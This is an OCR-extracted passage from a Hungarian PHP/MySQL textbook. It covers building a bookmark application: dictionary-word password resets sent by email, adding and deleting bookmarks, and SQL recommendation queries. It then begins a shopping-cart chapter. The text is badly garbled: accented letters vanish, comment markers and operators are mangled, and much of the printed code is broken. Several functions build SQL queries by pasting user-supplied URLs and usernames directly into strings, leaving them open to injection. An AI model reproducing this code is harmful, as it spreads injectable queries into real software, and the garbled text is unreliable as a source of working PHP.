ll hagyjuk ki az els szt,

$szo

fgets($fp,

80);

ll a potencilis jelsz

$szo

trim($szo);

mert lehet tredk is!

ll a trim fggvnnyel tiszttsuk meg az fgets-bl rkez


llszt az esetlegesen hatrol szkz- s sor vge jelektl!

return $szo;

A veletlen_szo_eloallitasa() fggvny mkdshez sztrra van szksg. Ha Unix rendszerr hasznlunk, az


ispel! beptett helyesrs-ellenrzhz tartozik egy sztr, ami jellemzen a lus rldict l wor ds vagy a lusrlsharel
dictlwords elrsi tvonalon tallhat. Jelen esetben

az

elst hasznltuk. Ha egyik helyen sem talljuk, a kvetkez utastst

begpelve derthetjk ki az elrsi tvonalat:


$ locate dictlwords

Akkor sincs ok az aggodalomra, ha msrnlyen rendszert hasznlunk, vagy nem szetetnnk telepteni az ispellt. Az ispel!
ltal hasznlt szlista letlthet a http://wordlist.sourceforge.net/ oldalrl.
Az oldalon ms nyelv sztrakat is tallunk, gy ha - mondjuk - norvg vagy eszperant nyelven van szksgnk
a vletlenszeren kivlasztott szavakra, akkor ezeket a sztrakat kell letltennk. Ezek a fjlok soronknt egy-egy szt
tartalmaznak, a sorok pedig jsor karakterekkel vannak elvlasztva egymstl. Ha vletlenszeren szetetnnk kivlasztani

27

410

27. fejezet

ebbl a fjlbl egy szt, hatrozzunk meg egy pontot a O s a fjlmret kzrr, s onnan olvassuk ki a fjl adatt! Ha ettl
a vletlenszeren meghatrozott ponttl a kvetkez j sorig olvasunk, akkor nagy valsznsggel tredkszt kapunk, ezrt
az fgets () fggvny ktszeri meghvsval hagyjuk ki azt a sort, amelynl megnyitottuk a fjlt, s az azt kvet sorban lv
szt vlasszuk ki!
A fggvny kt apr trkkt hasznl. Az els, hogy ha keress kzben elrjk a fjl vgt, visszaugrunk az elejre:
if (feof($fp))
fseek($fp,

0);

{
ll ha a vgn vagyunk,

ugorjunk az elejre!

A msodik, hogy lehetsget ad meghatrozott hosszsg sz keressre: a sztrbl kivlasztott minden szt ellenr
znk, s ha hossza nem a $min_hossz s $max_hossz rtk kz esik, akkor folytatjuk a keresst. Az aposztrfot tartalma
z szavakat is kihagyjuk. Ugyan a sz hasznlatakor vdkarakterrel lthatnnk el az aposztrfot, sokkal knnyebb egyszeren
a kvetkez szt vlasztani.
Visszatrve a jelszo_atallitasa() fggvnyre, az j jelsz ellltsa utn azt eltroland mdostjuk az adatbzist, s
az j jelszval trnk vissza f kdunkhoz. Majd ezt

az

j jelszt tadjuk a j elszo _ertesites () fggvnynek, amely pedig

elkldi azt e-mailben a felhasznlnak. A jelszo_ertesites ()fggvnyt a 27.20 pldakdban lthatjuk.


27.20 pldakd: A felhasznaloi _hitelesites_fuggvenyek.php
A fggvny

knyvtr jelszo_ertesites() fggvnye

elkldi afelhasznlnak az j jelszavt

function Jelszo_ertesites($felhasznaloi nev,

ll rtesti a felhasznlt,

$jelszo)

hogy jelszava megvltozott

$kapcsolat = adatbazishoz kapcsolodas();


$eredmeny = $kapcsolat->query("SELECT email FROM felhasznala
WHERE felhasznaloi_nev='".$felhasznaloi_nev."'");
if

(! $eredmeny) {

throw new Exception('Nincs ilyen e-mail cm.');


else if ($eredmeny->num_rows == 0)

throw new Exception('Nincs ilyen e-mail cm.');

ll a felhasznli nv nem tallhat az adatbzisban


else

$sor = $eredmeny->fetch_object();
$email = $sor->email;
$felado

"Felado:

support@phpbookmark \r\n";

$uzenet = "Az j PHPBookmark jelszava:


."Krjk,
if (mail($email,

".$jelszo."\r\n"

kvetkez bejelentkezskor vltoztassa meg.\r\n";

'PHPBookmark bejelentkezsi adatok',

$uzenet,

$felado))

return true;
else

throw new Exception('Nem sikerlt e-mailt kldeni.');

Ha megvan a felhasznli nv s az j jelsz, a jelszo_ertesites() fggvnnyel egyszeren kikeressk az adatbzisbl


a felhasznl e-mail cmt, majd a PHP mail () fggvnye segtsgvel elkldjk oda.
Biztonsgosabb lenne a felhasznlknak valban vletlenszer, kis- s nagyberk, szmok s rsjelek tetszleges kombin
cijbl ll jelszt adni, mint egy vletlenszeren kivlasztott sz s szm kombincijt. A felhasznlk szmra azonban
a teljes mrtkben vletlenszer jelszavaknl knnyebben olvashat s kezelhet egy olyan, mint amilyen a cikkcakk 4 8 7.

27

A vletlenszer karakterlncokban sok esetben problms a felhasznlknak megllaptani, hogy O (nulla) vagy

O (nagy O), l

(egy) vagy l (kis L) szerepel.


A rendszernkn lv sztrfjl krlbell 45 OOO szt tartalmaz. Ha egy cracker rudn, hogy milyen algoritmussal lltor
tuk el a jelszavakat, s mg egy felhasznli nevet is ismerne, akkor is tlagosan 22 500 OOO jelszt kellene kiprblnia ahhoz,

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

hogy eltallja

az

igazit. Egy ilyen jelleg alkalmazsnl megfelelnek tnik ez a szint biztonsg, s ez mg akkor is igaz, ha

a felhasznl figyelmen kvl hagyja az e-mailben szerepl tancsunkat, amiben az ltalunk elkldtt jelsz megvltoztatsra
krjk.

Knyvjelzk trolsa s visszakeresse


Most, hogy vgeztnk a felhasznli fikkal kapcsolatos funkcikkal, tovbblphetnk, s megvizsglhatjuk, hogyan trolhat
juk, kereshetjk vissza s trlhetjk a felhasznJk knyvjelzit.

Knyvjelzk hozzadsa
A felhasznJk az oldal aljn lthat men KJ hozzadsa hivatkozsra kattintva vehemek fel j knyvjelzket. A linkre
kattintva a 27.9 brn lthat rlaphoz jutnak.

- - -- - s::r
7;

;!
PHPbookmark

KOnyvjelz6tl: hou.iadasa
..---

__,..,.,_

27.9 bra: A kj_hozzaactasa _urlap.ph p kd ltal ellltott rlappal a Jelhasznlk

knyvjelzket adhatnak hozz sajt olda/aikhoz.


Mivel a kj_hozzaadasa_urlap.php kd igen egyszer, s pusztn a kmeneti fggvnyeket hasznlja, eltekntnk
rszletes bemutatsrl. Az rlap elkldsvel a kj_hozzadasa.php kdot hvjuk meg, ami viszonr a 27.21 pldakdban
lthat.
27.21 pldakd: kj _hozzadasa.php -A kd j knyvjelzket ad a Jelhasznl szemlyes oldalhoz
<?php
require_once('konyvJelzo fuggvenyek.php');
session start();
ll rvid vltoznv ltrehozsa
Suj_url = S_POST['uj_url');
html fejlee letrehozasa('Konyvjelzk hozzadsa');
try

ervenyes_felhasznalo_ellenorzese();
if (!kitoltott($ POST))

throw new Exception('Az rlap nincs teljesen kitltve.');

ll URL formtumnak ellenrzse


if (strstr($uj url,
$uj_url

'http:ll') === false)

'http:ll'.$uj_url;

411

412

27.fgezet

ll URL rvnyessgnek ellenrzse


if (!(@fopen($uj_url,

'r')))

throw new Exception('rvnytelen URL.');

ll megprblja hozzadni az j knyvjelzt


kj_hozzaadasa($uj_url);
echo 'Knyvjelz hozzadva.';

ll a felhasznl ltal elmentett knyvjelzk lekrse


if ($url tomb = felhasznaloi_url_lekerdezese($_SESSION['ervenyes felhasznalo']))
felhasznaloi_url_megjelenitese($url_tomb);

catch (Exception $e)

echo $e->getMessage();

felhasznaloi_menu_megjelenitese();
html lablec letrehozasa();
?>

Ez a kd is a felhasznli adat ellenrzse - adatbzisban eltrolsa - kimenet ksztse smt kveti.


Az ellenrzs rdekben elszr is arrl kell a kitoltott () fggvny segtsgvel meggyzdni, hogy a felhasznl kitl
ttte-e az rlapot. Ezt kveten az URL-t ellenrizzk kt szempontbL Elszr az strstr () fggvnnyel megnzzk, hogy
http: ll-vel kezddik-e. Amennyiben nem, hozzadjuk azt az URL-hez. Ha ezzel megvagyunk, ellenrizzk, hogy az URL

valban ltezik-e. A Hlzati s protokollfggvnyek hasznlata cm 20. fejezetbl emlkezhetnk, hogy az fopen () fggvny
nyel nyithatunk meg http: ll-vel kezdd URL-eket. Ha meg tudjuk nyitni
az

az

oldalt, akkor sszeren felttelezhetjk, hogy

URL rvnyes, s a kj_hozzaadasa () fggvnyt meghvva hozzadjuk az adatbzishoz.


Ezt s a knyvjelzkkel kapcsolatos tbbi fggvnyt

az

url_ fuggveny ek.php fggvnyknyvtrban talljuk. A kj_

hozzaadasa () fggvny kdjt a 27.22 pldakd mutatja.

27.22 pldakd: Az url_ fuggvenyek. php knyvtr kj_hozzaadasa() fggvnye- A fggvny j knyvjelzket ad az

adatbzishoz
function kj_hozzaadasa ($uj_url)

ll j knyvjelz hozzadsa az adatbzishoz

echo "A ".htmlspec1alchars($uj url)." hozzadsa<br l>";


$ervenyes felhasznala

$ SESSION['ervenyes felhasznalo'];

$kapcsolat = adatbazishoz kapcsolodas();

ll ellenrizzk,

hogy nem ismtld knyvjelz-e

$eredmeny = $kapcsolat->query("SELECT

FROM konyvjelzo

WHERE felhasznaloi_nev='$ervenyes felhasznalo'


AND kj URL='".$uj_url."'");

if ($eredmeny && ($eredmeny->num_rows>0))

throw new Exception('Mr ltez knyvjelz.');

27

ll j knyvjelz hozzadsa az adatbzishoz


if (!$kapcsolat->query("INSERT INTO 'konyvjelzo' ( 'felhasznalo1_nev'
VALUES ('".$ervenyes_felhasznalo."',

'kj URL' )

'".$uj url."');"))

throw new Exception('A knyvjelz hozzadsa nem sikerlt.');

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

413

return true;

A kj_hozzaadasa() fggvny viszonylag egyszer. Ellenrzi, hogy az adatbzisban a felhasznlnl nem szerepel-e mr
ugyanez a knyvjelz. (Br nem valszn, hogy a felhasznJk ktszer felvinnnek egy knyvjelzt, az lehetsges, st valsz
n, hogy frissthetik

az

oldalt.) Az j knyvjelzk bekerlnek

az

adatbzisba.

Visszatrve a kj_hozzaad.php kdhoz, lthatjuk, hogy utols lpse ugyanaz, mint a tag.ph p fjlnak:
a felhasznaloi _url_lekerdezese () s a felhasznaloi _url_megjeleni tese () fggvny meghvsa. A kvetke
zkben ezt a kt fggvnyt vizsgljuk meg.

Knyvjelzk megjelentse
A tag. php kd s a kj_hozzaadasa() fggvny is hasznlja a felhasznaloi_url_lekerdezese () s
a felhasznaloi_url_megjeleni t ese () fggvnyt. Ezek kikeresik az adatbzisbl, illetve megjelentik a felhasznl
knyvjelzit. A felhasznaloi _url_lekerdezese () fggvny az url_fuggvenyek. php, a felhasznaloi_url_
megjelenitese ( ) fggvny pedig a kimeneti_ fuggvenyek.php knyvtrban tallhat.

A felhasznaloi_url_lekerdezese() fggvnyt a 27.23 pldakd mutatja.


27.23 pldakd: Az url_ fuggvenyek. ph p knyvtr felhasznaloi _url_lekerdezese ()fggvnye- Afggvny
kikeresi az adatbzisbl afelhasznl knyvjelzit
function felhasznaloi_url_lekerdezese($felhasznaloi_nev)

ll a felhasznl ltal elmentett URL-ek kinyerse az adatbzisbl


$kapcsolat = adatbazishoz_kapcsolodas();
$eredmeny = $kapcsolat->query("SELECT kj_URL
FROM konyvjelzo
WHERE felhasznaloi nev
if

'".$felhasznaloi_nev."'");

(! $eredmeny)

return false;

ll URL-ek tmbjnek ltrehozsa


$url_tomb = array();
for ($szamlalo =

l;

$sor = $eredmeny->fetch_row();

$url_tomb[$szamlalo]

++$szamlalo)

$sor[0];

return $url_tomb;

Haladjunk vgig rviden a felhasznaloi_ url_lekerdezese () fggvny lpsein l Paramterknt a felhasznli nevet
vrja, majd visszakeresi az adatbzisbl az adott felhasznlhoz tartoz knyvjelzket. Az ezeket az URL-eket tartalmaz
tmbbel vagy- amennyiben a knyvjelzk nem visszakereshetk-false rtkkel tr vissza.
A felhasznaloi_url_lekerdezese() fggvnybl szrmaz tmbt a felhasznaloi_url_megjelenitese ()
fggvnynek adjuk t. Ez megint csak egy egyszer, HTML kimenetet elllt fggvny, amely szp tblzacos formban
jelenti meg a felhasznl knyvjelzit, gy ezzel sem foglalkozunk most rszletesebben. A 27.6 brn lthatjuk, hogy milyen
kimenetet llt el. A fggvny igazbl rlapba teszi az URL-eket. Minden URL mellett egy jellngyzetet tallunk, ami
lehetv teszi a felhasznlnak, hogy trlendknt ki jellje adott knyvjelzjt. A most kvetkez rszben pontosan a trls
funkcit tekintjk t.

27

414

27. fejezet

Knyvjelzk trlse
Amikor a felhasznl trlsre kijelli egy vagy tbb knyvjelzjt, majd a men KJ tr lse hivatkozsra kattint, elkldi az
URL-eket tartalmaz rlapot. A jellngyzeteket a felhasznaloi_url_megjeleni tese ( ) fggvny albbi kdja llrja
el:
echo "<tr bgcolor=\"".$szin."\"><td><a href=\"".$url."\">".htmlspecialchars($url)."</a></
td>
<td><input type=\"checkbox\" name=\"torolJ

engem[]\"

value=\"".$url."\"/></td>
</tr>";

Minden inputnak torolj_engem[l a neve. Ez azt jelenti, hogy az rlap ltal meghvotr PHP kdban egy $torol j_
engem nev tmbt rhetnk el, amely az sszes trlend knyvjelzt tartalmazza.

A KJ trlse hivatkozsta kattintva meghvdik a kj_torlese. php kd, amit a 27.24 pldakdban lthatunk.
27.24 pldakd: kj_torlese.php-A kd knyvjelzket trl az adatbzisbl
<?php
require once('konyvjelzo_fuggvenyek.php');
session start();

ll rvid vltoznevek ltrehozsa


$torolj_engem = $_POST['torolj_engem'];
Servenyes felhasznala = $ SESSION['ervenyes felhasznalo'];
html_fejlec_letrehozasa('Konyvjelzk trlse');
ervenyes felhasznalo_ellenorzese();
if (!kitoltott($ POST))

echo '<p>Egyetlen knyvjelzt sem jellt ki trlsre.<br/>


Krjk,

prblja meg jra!</p>';

felhasznaloi_menu_megjelenitese();
html lablec letrehozasa();
exit;
else {
if (count($torolJ

engem) > 0)

foreach($torolj_engem as $url)

{
{

if (kj_torlese($ervenyes felhasznalo,
echo

'A

$url))

'.htmlspecialchars($url).' knyvjelzt trltk.<br />';

else
echo 'Nem sikerlt trlni a '.htmlspecialchars($url).' knyvjelzt.<br />';

else
echo 'Nincs trlsre kijellt knyvjelz';

ll a felhasznl ltal elmentett knyvjelzk lekrse


if ($url_tomb

felhasznaloi_url_lekerdezese($ervenyes_felhasznalo))

felhasznaloi_url_megjelenitese($url tomb);

27

felhasznaloi_menu_megjelenitese();
html_lablec letrehozasa();
?>

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelemtse

415

A kd elejn elvgezzk a szoksos ellenrzsekec. Ha kiderl, hogy a felhasznl egyes knyvjelzit kijellte crlsre, a k
vetkez ciklussal trljk ki azokat:
foreach($torolj_engem as $url)

if (kj torlese($ervenyes felhasznalo,


echo 'A

$url))

'.htmlspecialchars($url).' knyvjelzt trltk.<br

l>';

else
echo 'Nem sikerlt trlni a

'.htmlspecialchars($url) .' knyvjelzt.<br l>';

Lthat, hogy a kj_torlese () fggvny vgzi el a knyvjelz adatbzisbl kitrlsnek tnyleges munkjt. A fggvnye
a

27.25 pldakdban tallj uk.

27.25 pldakd: Az url_ fuggvenyek. php knyvtr kj_torlese() fggvnye- A fggvny egyetlen knyvjelzi trl afel

hasznl listjrl
function kj torlese($felhasznalo,

$url)

ll egy URL trlse az adatbzisbl


$kapcsolat = adatbazishoz

kapcsolodas();

ll a knyvjelz trlse
if (!$kapcsolat->query("DELETE FROM konyvjelzo WHERE
felhasznaloi_nev='".$felhasznalo."' AND
throw new

Exception('A

kj_URL='".$url."'"))

knyvjelz nem trlhet');

return true;

Lthatjuk, hogy a kj_torlese() is egy viszonylag egyszer fggvny. Megksrli kitrlni az adatbzisbl

az

adott fel

hasznl ltal kijcllc knyvjelzt. Jegyezzk meg, hogy ebben az esetben adott felhasznli nv - knyvjelz prt kivnunk
trlni, hiszen a tbbi felhasznl ettl fggetlenl megrizheti az erre

az

URL-re mutat knyvjelzjt!

A 27.10 brn egy, a crlst vgz kd futtatsa ltal eredmnyezett, lehetsges kimenetet lthatunk .

IK.I.J-.1
-

27.10 bra: A trlst vgrehajt kd tjkoztatja a trlt knyvjelzk fe/hasznljt, majd megjelenti megmaradt knyvjelzit.

Akrcsak a kj_hozzadasa.php kdban, az adatbzison vgrehajtott mdostsok utn itt is a felhasznaloi_url_


lekerdezese()

s a felhasznaloi_url_megjelenitese () fggvny segtsgvel jelentjk meg az j knyvjelzlistt.

27

416

27.fezet

Knyvjelzk ajnlsa
Immr kszen llunk a knyvjelzk ajnlsr megvalst ajanlas.php kd megrsra.Tbbfle megkzeltst alkalmaz
hatnnk az ajnlsokhoz.A pldban tnylegesen megvalstort mdszer a kzs rdekldsen alapul. Ennek megllaptshoz
olyan felhasznlkat keresnk, akiknek az adott felhasznlval legalbb egy kzs knyvjelzjk van. Azt felttelezzk, hogy
ezeknek a felhasznlknak a tbbi knyvjelzi is szmot tarthatnak az adott felhasznl rdekldsre.
SQL lekrdezsknt ezt legegyszerbben egymsba gyazort lekrdezsek hasznlatval valsthatjuk meg.Az els egyms
ba gyazott lekrdezs a kvetkezkppen nz ki:
SELECT DISTINCT(b2.felhasznaloi_nev)
FROM konyvjelzo bl,

konyvjelzo b2

WHERE bl.felhasznaloi nev='".$ervenyes felhasznalo."'


AND bl.felhasznaloi nev

!= b2.felhasznaloi nev

AND bl.kj_URL = b2.kj_URL)

Ez a lekrdezs aliasok segtsgvel kapcsolja ssze az adatbzis konyvjelzo tbljt nmagval- ami kicsit furcsn
hangzik, de esetenknt kivl szolglatot tehet szmunkra. Kpzeljk el, hogy lnyegben kt konyvjelzo tblnk van, az
egyiknek bl, a msiknak b2 a neve! A bl tblban megkeressk az akrulis felhasznlt s a knyvjelzit. A msik tblban az
sszes tbbi felhasznl knyvjelzit nzzk. Olyan felhasznlkat ( b2.felhasznaloi _nev) keresnk, akiknek az aktu
lis felhasznlval kzs URL-jk van ( b l. kj_URL = b2.kj_URL), s akik nem azonosak az akrulis felhasznlval ( b l.
felhasznaloi_nev

! = b2.felhasznaloi_nev).

Ez a lekrdezs az akrulis felhasznlhoz hasonl rdeklds emberek listjt eredmnyezi. A lista birtokban kls le
krdezssel kereshetnk ezen felhasznlk tbbi knyvjelzje kztt:
SELECT kj_URL
FROM konyvjelzo
WHERE felhasznaloi nev IN
(SELECT DISTINCT(b2.felhasznaloi_nev)
FROM konyvjelzo bl,

konyvjelzo b2

WHERE bl.felhasznaloi_nev='".$ervenyes felhasznalo."'


AND bl.felhasznaloi nev

!= b2.felhasznaloi nev

AND bl.kj URL = b2.kj URL)

Egy msodik egymsba gyazott lekrdezssei kiszrjk az aktulis felhasznl knyvjelzit; ha a felhasznl sajt ma
gnak mr felvert egy knyvjelzt, nem sok rtelme lenne ugyanazt ajnlani neki. Vgezetl tovbbi szrst valsrunk meg
a $nepszeruseg vltozval. Nem szeretnnk tl szemlyes jelleg URL-eket ajnlani, ezrt csak olyan knyvjelzte hvjuk
fel a felhasznl figyelmt, amit a hasonl rdeklds felhasznlk listjbl adott szm szemly is felvert sajt knyvjelzi
kz. Az utols lekrdezs a kvetkezkppen nz ki:
SELECT kj_URL
FROM konyvjelzo
WHERE felhasznaloi nev IN
(SELECT DISTINCT(b2.felhasznaloi_nev)
FROM konyvjelzo bl,

konyvjelzo b2

WHERE bl.felhasznaloi_nev='".$ervenyes felhasznalo."'


AND bl.felhasznaloi nev

!= b2.felhasznaloi nev

AND bl.kj_URL = b2.kj_URL)


AND kj_URL NOT IN
(SELECT kj_URL
FROM konyvjelzo
WHERE felhasznaloi_nev='".$ervenyes felhasznalo."')
GROUP BY kJ

RL

HAVING COUNT(kj_URL)>".$nepszeruseg;

Ha azt tapasztaljuk, hogy mr j sok felhasznlja van rendszernknek, akkor a $nepszeruseg vltoz rtkt nvelve
csak olyan URL-eket ajnlunk, amelyeket kellen nagy szm felhasznl vert fel a listjba. A sokak ltal megjellt URL-ek
mgrt minden bizonnyal jobb s szlesebb kznsg szmra vonz honlapokat tallunk.

27

Az ajnlsokat elllt teljes kdot a 27.26 s a 27.27 pldakdban lthatjuk. A f kd neve aj anlas.ph p (27.26 plda
kd). Ez az, ami meghvja az url_fuggvenyek.php fggvnyknyvtrbl az ajnlsokat ad url_aj anlo () fggvnyt
(27.27 pldakd).

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

27.26 pldakd: ajanlas.php-A

417

kd a jelhasznlt Jeltehetleg rdekel knyvjelzket ajnl a figyelmbe

<?php
require_once('konyvjelzo_fuggvenyek.php');
session start();
html_fejlec_letrehozasa('Ajnlott URL-ek');
try

ervenyes felhasznalo_ellenorzese();
Surlek

url_ajanlo($_SESSION['ervenyes felhasznalo']);

ajanlott_urlek_megjelenitese($urlek);

catch(Exception $e)

echo $e->getMessage();

felhasznaloi_menu_megjelenitese();
html_lablec_letrehozasa();
?>

27.27 pldakd:

Az url_fuggvenyek.php knyvtr url_aj anlo() fggvnye- Ez a fggvny vlaszlja ki a Jelajnland

URL-eket
function url_ajanlo($ervenyes felhasznalo,

$nepszeruseg

l)

ll Rszben intelligens ajnlsokat adunk az embereknek


ll Ha van ms felhasznlkkal kzs URL-jk,

akkor elkpzelhet,

ll hogy ezen ms felhasznlk tovbbi URL-jeit is szeretni fogjk


$kapcsolat = adatbazishoz_kapcsolodas();

ll azon felhasznlk megkeresse,


ll akikkel kzs URL-nk van
ll a felhasznlk szemlyes jelleg knyvjelzinek kizrsa
ll s a megfelel rdekldsre szmot tart URL-ek ajnlsa rdekben
ll meghatrozzuk a minimlis npszersgi szintet
ll ha $nepszeruseg = l,

akkor egynl tbb ember fel kellett,

ll hogy vegye az URL-t ahhoz,

hogy ajnljuk azt

$lekerdezes = "SELECT kj URL


FROM konyvjelzo
WHERE felhasznaloi nev IN
(SELECT DISTINCT(b2.felhasznaloi nev)
FROM konyvjelzo bl,

konyvjelzo b2

WHERE bl.felhasznaloi_nev='".$ervenyes_felhasznalo."'
AND bl.felhasznaloi nev
AND bl.kj URL

!= b2.felhasznaloi nev

b2.kj_URL)

AND kj_URL NOT IN


(SELECT kj_URL
FROM konyvjelzo
WHERE felhasznaloi_nev='".$ervenyes felhasznalo."')
GROUP BY kj_URL
HAVING count(kj_URL)>".$nepszeruseg;

if

(! ($eredmeny = $kapcsolat->query ($lekerdezes)))

throw new Exception('Nincsenek ajnlhat knyvjelzk. ');

27

418

27. fejezet

if ($eredmeny->num_rows==O)

throw new Exception('Nincsenek ajnlhat knyvjelzk. ');

Surlek = array();

ll relevns URL-ek tmbjnek ltrehozsa


for ($szamlalo=O;

$sor = $eredmeny->fetch_object();

$urlek[$szamlalo]

$szamlalo++)

= $sor->kj_URL;

return $urlek;

A 27.11 brn az ajanlas. php kd egy lehetsges kimenett ltjuk.

tlll

cr

._..

. a

.._"..

_.....

eo--

)>oi

:Y..,

PHPbookmark

Ajnlott URL-e

27.11 bra: Az ajanlas. ph p kd az amazon.com oldalt ajnlotta a Jelhasznl figyelmbe.

Az adatbzisban legalbb kt olyan msikJelhasznl van, aki szereti az oldalt, s Jelvette knyvjelzi kz.

A projekt tovbbfejlesztsnek lehetsges irnyai


A fejezet oldalain a PHPbookmark alkalmazs alapvet funkciit murattuk be s hoztuk ltre. Szmos tovbbi lehetsgnk

nylik tovbbfejleszteni az alkalmazst. Gondoljuk vgig a kvetkez funkcik hozzadst:


A knyvjelzk tmakrk szerinti csoporrosrsa

"Hozzads a knyvjelzimhez" hivatkozs megjelentse az ajnlott knyvjelzknl


A reljes adatbzis vagy adott tmakr legnpszerbb URL-jeinek ajnlsa

Rendszergazdai fellet a felhasznlk s tmk ltrehozsra s adminisztrlsra


Intelligensebb vagy gyorsabb mdszer a knyvjelzk ajnlsra
A felhasznl ltal megadott adatok tovbbi szempontok szerinti ellenrzse

Prbljuk meg megvalstani ezeket! A kisrierezs a tanuls egyik legjobb mdja.

Hogyan tovbb?
A kvetkez projektben online vsrlsra alkalmas kosarat hozunk ltre, amely lehetv teszi oldalunk ltogatinak, hogy bn

gszs kzben, vsrlsuk vglegestse s az elektronikus fizets eltt abba rakjk a kivlasztott termkeket.

27

28
Kosr funkci programozsa
A fejezerben megtanuljuk, hogyan kszthetnk oldalunk ltogati szmra vsrlst lehetv tev kosarat. A kosr funkcit
A

MySQL hasznlata cm II. rszben kidolgozott Book-O-Rama adarbzisra lrerjk. A fejezer vgn rviden megvizsgljuk

annak lehersgr, hogy ltez, nylt forrskd PHP kosarat llrunk be s vesznk ignybe weboldalunkon.
Kosr (angolul shopping eart vagy shopping basker) funkci alatt az online vsrls mechanizmust rtjk. Mikzben online

katalgust bngsznk, kosrba tehetjk (kivlaszthatjuk) az egyes termkeket. Ha befejezrk a bngszst, az online bolt
kasszjhoz jrulunk - vagyis kifizetjk a kosarunkba tett termkeket.
A jelenlegi projekt kosr funkcijnak megvalstshoz az albbiakra lesz szksgnk:
Az online rtkesteni kvnt termkek adarbzisa
Online rermkkaralgus, amely karegrikra bonthat
Kosr, arnivel nyomon kvethetjk a felhasznl ltal megvsrolni kvnt termkeker
A fizetsi s szllrsi adatokat feldolgoz pnztr funkci
Adminisztrcis fellet

A megolds alkotelemei
Bizonyra emlksznk a II. rszben kidolgozott Book-O-Rama adatbzisra. Mostani projektnkben a Book-O-Rama kny
vesbolt online ruhzt fogjuk beindtani. A megolds alkotelemeinek az albbi ltalnos elvrsoknak kell megfelelnik:
Meg kell tallni annak mdjr, hogyan kapcsolhatjuk ssze az adarbzist a felhasznlk bngszjveL A felhasznlk
szmra lehetv kell tennnk a termkek karegrinknti bngszsr.
A felhasznlk kivlaszthatjk a katalgusbl a ksbb megvsrolni kvnt termkeket. Nyomon kell kvetnnk, hogy
mely termkeker vlaszrottk ki.
Miutn a felhasznlk befejeztk a vsrlst, ki kell szmolnunk rendelsk vgsszegt, be kell krnnk szllrsi adata
ikat, majd fel kell dolgoznunk fizetsket.
Adminisztrcis felletet kell fejlesztennk a Book-O-Rama oldalhoz, hogy a rendszergazda knyveket s kategrikat
adhasson az oldalhoz, illetve szerkeszrhesse a meglvket.
Most, hogy megismertk a projekttel szembeni elvrsokat, elkezdhetjk megtervezni a megoldst s alkotelemeit.

Online katalgus ltrehozsa


A Book-O-Rama katalgus alapjt ad adarbzis mr rendelkezsnkre ll. A mosrani alkalmazshoz azonban mdosr
sokta s kiegsztsekre lesz szksg. Ilyen kiegszts pldul a projektkvetelmnyek kztt is szerepl knyvkategrik
hozzadsa.
A meglv adarbzist is ki kell egszteni a szlltsi cmekkel, a fizetsi adatokkal stb. Azzal mr tisztban vagyunk, hogyan
lehet PHP segtsgvel csarolfelletet (interfszt) ltrehozni MySQL adatbzishoz, gy a megolds ezen rsze gyerekjtk
kell, hogy legyen.
A vsrlk megrendelseinek teljestshez tranzakcikat is hasznlnunk kell. Ehhez konvertlni kell a Book-O-Rama tb
lkat, hogy

az

InnoDB trolmotort hasznljk. Ez a lps is viszonylag magtl rtetd lesz.

A felhasznlk ltal vsrls kzben megrendelt termkek nyomon kvetse


Alapveten ktflekppen kvethetjk nyomon a ltogatk vsrls kzben kivlasztott tteleit. Az egyik mdszer, ha adatb
zisba rakjuk a kivlasztott termkeket, a msik mdszer pedig a munkamener- (session) vltoz hasznlata.

28

420

28. fejezet

A kivlasztott ttelek munkamenet-vltoz segtsgvel trtn nyilvntartsa egyszerbben programozhat, mert nem
szksges minden egyes alkalommal az adatbzist lekrdezve beszerezni az informcit. Ezzel a mdszerrel az is elkerl

28

het, hogy a csak bngsz, de vgl a kivlasztorr termkeket meg nem vsrl felhasznJk egy csom felesleges adarral
terheljk az adatbzist.
Ezrt munkamenet-vltozt vagy vltozkat kell kialaktani a felhasznJk ltal kivlasztorr termkek trolsra. Ami
kor egy felhasznl befejezi a vsrlst, s kifizeti a megrendelt termkeket, a munkamenet-vltozban trolt informcikat
a tranzakci rekordjaknt eltroljuk az adatbzisban.
Ezeket az adatokat arra is felhasznlhatjuk, hogy az oldal valamelyik sarkban rvid sszegzs adjunk a kosr aktulis tartal
mrl, gy a felhasznl tisztban lehet vele, hogy mennyit kell m:Yd fizetnie az addig kivlasztott termkekrt.

Fizetsi rendszer megvalstsa


Projektnkben a felhasznl rendelse s szlltsi adatai alapjn feldolgozzuk a vsrlst, de a tnyleges fizetsi folyamattal
nem foglalkozunk. Szmtalan fizetsi rendszer kzl vlaszthatunk, amelyek mindegyikt mshogyan kell megvalstani.
A projektben egyszeren egy dummy fggvnyt hasznlunk, amit brmikor lecserlhetnk a kivlasztott rendszerhez alkalmas
interfsszel.
Ugyan szmtalan klnbz fizetsi tjr (payment gateway) kzl vlaszthatunk, s az egyes tjrkhoz is tbbfle inter
fsz hasznlhat, a vals idej hitelkrtya-feldolgoz interfszek mkdse nagyjbl hasonl. Az elfogadni kvnt bankkr
tyk tpusa alapjn kereskedi bankszmlt kell nyitnunk valamely banknl- s jellemzerr a bank megadja neknk a fizetsi
rendszer ltala ajnlott szolgltatinak listijt. A kivlasztott szolgltat pontosan meghatrozza, hogy milyen paramtereket
s hogyan kell rendszernek tadnunk. Szmos fizetsi rendszernl megadjk szmunkra a PHP alkalmazsokhoz hasznlhat
mintakdot, amivel egyszeren lecserlhetjk a jelen fejezetben ltrehozott dummy fggvnyt.
Hasznlat kzben a fizetsi rendszer tovbbtja adatainkat egy banknak, s vagy a sikeres tranzakci kdjt vagy - valami
lyen problma esetn - a szmtalan klnbz hibakd valamelyikt adja vissza. Adataink tovbbtsrt cserbe a fizetsi
tjr zemeltetsi vagy havidjat, illetve a tranzakcik szmtl vagy rtktl fgg hasznlati djat kr.
Fizetsi rendszernknek legalbb az gyfladatokra (pldul hitelkrtya szma), a sajt azonost adatainkra (azt meghat
rozand, hogy melyik kereskedi szmln kell a fizetst jvrni) s a tranzakci vgsszegre szksge lesz.
A megrendels vgsszegt a felhasznl kosarnak munkamenet-vltozjbl tudjuk kiszmtani. Ha ezzel megvagyunk,
a vgleges rendelsi adatokat rgztjk adatbzisunkban, ezt kveten pedig brmikor megszabadulhatunk a munkamenet-vl
toztl.

Adminisztrcis fellet programozsa


A fizetsi rendszeren s a mr emltett komponenseken kvl olyan adminisztrcis felletet is ltre kell hoznunk, ahol knyve
ket s kategrikat lehet hozzadni az adatbzishoz, illetve trlni s szerkeszteni lehet a meglvket.
